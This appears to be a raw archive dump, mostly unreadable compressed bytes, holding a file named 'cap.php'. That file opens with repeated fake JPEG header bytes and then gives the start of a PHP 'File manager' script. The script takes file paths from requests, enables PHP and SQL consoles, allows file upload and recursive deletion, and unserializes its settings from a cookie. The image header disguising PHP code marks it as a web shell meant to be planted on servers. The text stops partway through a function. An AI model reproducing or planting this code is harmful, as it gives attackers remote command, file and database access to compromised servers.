@% 0Ճ-=+:=83'0Dgz RRP!wc3>[N)dO<$wU lH.r\K.NGc lfSI*jV~)%<Ю^p+"PsRcsB5puFVlkG%dw~#CL uҖIO'*\AGIH_ї,y+8|¢,PI3>{lp_Xw0fb)Px1.37F( oqS3s=gHc|1,'KzH6~ud+슙U5U޻B-H*Bˍ 7M@-7mZQm轩M8԰-jn]R%O暥A,d@T>􀊽XwnٙFT-xD6Mg(	\o49ߨ4Z`ډuiŜqI$6FK|3xr$ɠ#L[CN5>#tg"͒Mepy^j9n5Kb9G1|m >|nXL~1K"(įiu#'L0@zg0UɈQJo,:v7$><nȁ> ZJ&1RD(@Q誊Nm>oy"1  V16@$aUО]Eǟ$iF&Ή:Խ'0VI yj}I$a}f!sf_p0G1Nt}'$ll\(pJ%K 2dTЋL{C&m6vrЙtk^\$^!#݉@MA/h=5؞CN/N[a~;l%&/SQy0AYhTڸjn鞳iq σ,/uB#+<yGZ3mEX@!"::/r6n`;}YH^u<G(~WC<K2舝DmdD'`Yh8E7F%5u)1Zx ++=&Gv$ *r2P?De%'xXߺr0DnKo!p'sC^6V(qʖ\r ,%nOǌv8].MMNœvl=g+	;riTN'D'C񰥺afSa\"5X//%K/>l6$57q;4(, @ft5NpGXEyk!uEUe$`dY5$"; P7b)UK_})<}JD9̯c:'q}
D>}NT'gOĿ魭Kuk?ZJq*E4|!X䶑>G/	fIc9$<j8ʋ_o^(=6un_ݱv^J6р2ū,2b&*73|ڨTBP2O(|o\nJ82j2(gxt J	
枡[ (H3%W2$j`-{2'AJ%WrVò2aݼ&ne@ձF[Cnix!~6F!GJDJ%XH) ޹=+ekz{#_4ɰcMnf$J}YQP代4[͟>Au].3j"eلɲWձܴ[dZ#訖d^ 0 NŤC3NVt=? ZU^ͼCYWNOR1&{},ؘ<ɜqF+f$F`hLkZm<HC'h@Xbf!'(/7f0cgrP7Yb\QсǢ:zJt3I{eKЬ	}BCϱÂФqi82k)Ȣ{oonw-[ :Fc2@nրzM;09{s(L7`I"3 b!JCf*_0Cj>SYVk2C4=Z Έ[O8]H@U7;_\P\
f64NYTDܥja8cWڣIG"s Ȁbz]I3Wr>ӐN4}fв[Q|g	4±?TSh_ǲSALmZw>dlm⦐Fڠ6&t=*koB>:>:1_q0Do扶f+1A0?@0aK~;<TK@ϗGF q`[hp;^|#G 1*Wˢ:#̺;QڠPz3]

(ۚu0J";.nދ:F>'. |`:U9e>Xhu+I	&W@[{x-~l2mqY#uaAJ~$q:dxUl/xxT!Sk1 p+`UumLCwUl1}@_Kh'}nSS)Ҷ^;u3`'mzξ
QfQ~Q~v؇t[{b訬qT THe(_NLf81(8q`P>
u9=2R
OA˖HsmE`@h4AޫP_&6y@^Jldz/">y9G}~Hfnb Q*˅gP쳜\>b[	9^X͸$+i;=e(bJ_K	KMg:ӟ~=	 1x¶IdfG2*ڵCmU̪*chrS5̮
	L!a0b֊^B\mH8z){uί78\X9Zfֻ{]fPi''EqC{T"Ge%xXl<<pƳw&`o
<0śy4dJSL+hRat-қ\%mpϧ;`B^acEV
6I@p*2L	FŃeCAE4rlɾ2%Fy171nGB3;XxjY1 ڿo `|/ITNDh-+GWT+J`S3l4n&8S6a3Sk aac(\w5 Gp1
U 0@O9F&SVd,9':~zqo:qבɕ=+ǪtgO4YX*n$yWxco:5uD!2x7(1r!TuԶXi,^YHt*|6$ks45cǱE?|<M]ϣy& 9Q{.nokWGT'Qg_3 +l5\.JW`kGMf-cn7S!p7_!|hrC^|H׉F,t_N$558XU24A7UZףMNTJkqdӲUk){`+꽽9~q8ԡ-@0B|wkuL&-3H[h1|=Pva!H~s?3_C02,a *?D[`-v)eo*_`v=t*4)q0`렜
KX6 #A/}~|pBÇ?@L>w;dW_0oW8̿ÿۿÿͿͿ_w7?=;PW7 of ;C!P?g~wkwv߃<4?qo?<wR.ÇK՟	}'	Yo_ïoӟ|38_Lܛ
?xϼ|㙷|o<槟ބүӎ.Nn9;0~/	1?p$sc f40w/t@~=.Ar]%@V<9taPn
?´n'׿2>j~ŌK۹qx5G\SKsM{~u THv*6$@*(+/08 7L#T{`QG4WMAMKEQ}Zmq~FG3{Cv}n7418 `SNt~TW&ph>
4ẸY/i4΀zաfH+aa]f2ޫ{2dįr9B`<|ݜSյ'02cL[0ǊCY$[^"(^xT[l-ʉdRȧQ@f̫ȡՌq`ÝX:½#&r1tbhjjd2/<,𱗾b1kĐm<U_hF9\cʂ,{m}̏&ɱ'MhSH0=D^ZIG\Y}'j/g4ࠬàQ*A4pm"+-@ZjX# -=P~ÝT\+_9N+
A# ޓ@lLGFTt1v":O~`C;Jh
'Sp//(7p*)HL#*ٸ(i~
˛U	/''Q
8SR'RhO"P zQ# ' oZ\DŒå^45`%PH;fvk%0!ida3{6;!23ޠSq!)3
e"1YၜEv":фF#	[gE_ՍôKRGƻIz^|o|$cنܟjNm7 ŭ<5 F- p9+cTυ>X { Aqg7-jp}@}|Ź`6$G$%kѥ|tde-!oH\ފQ 'eӽ(.>lﭏ9ظ9XAA7Y}Uz{CoQOMpoڲ2叵<7^zsꍟ -4{=?jΞZk`ֈG[C/*vw-Ǝu]5|>R P
6R COd8S!JHA>gs]#Brv^8b%i_`X
b# `M/i-♶?b#V_@YXu
xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
